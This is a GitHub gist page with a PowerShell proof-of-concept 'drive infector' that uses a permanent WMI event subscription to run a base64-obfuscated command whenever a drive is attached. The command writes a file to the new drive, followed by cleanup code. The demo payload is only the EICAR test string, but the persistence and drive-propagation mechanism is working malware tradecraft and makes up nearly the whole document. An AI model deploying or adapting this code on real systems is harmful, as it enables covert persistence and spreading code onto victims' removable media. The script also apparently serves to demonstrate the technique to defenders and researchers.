-
-
Save nobitagamer/7f53627233073d20a1c5ba5a9ef9cb77 to your computer and use it in GitHub Desktop.
A PoC drive infector using permanent WMI event subscriptions. I wrote this to demonstrate passing __EventFilter arguments to a CommandLineEventConsumer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$EventFilterArgs = @{ | |
EventNamespace = 'root/cimv2' | |
Name = 'DriveChanged' | |
Query = 'SELECT * FROM Win32_VolumeChangeEvent' | |
QueryLanguage = 'WQL' | |
} | |
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs | |
$CommandLineConsumerArgs = @{ | |
Name = 'Infector' | |
CommandLineTemplate = "powershell.exe -NoP -C `"[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=')) | Out-File %DriveName%\eicar.txt`"" | |
} | |
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs | |
$FilterToConsumerArgs = @{ | |
Filter = $Filter | |
Consumer = $Consumer | |
} | |
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs | |
# Cleanup | |
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'Infector'" | |
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'DriveChanged'" | |
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" | |
$FilterConsumerBindingToCleanup | Remove-WmiObject | |
$EventConsumerToCleanup | Remove-WmiObject | |
$EventFilterToCleanup | Remove-WmiObject |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment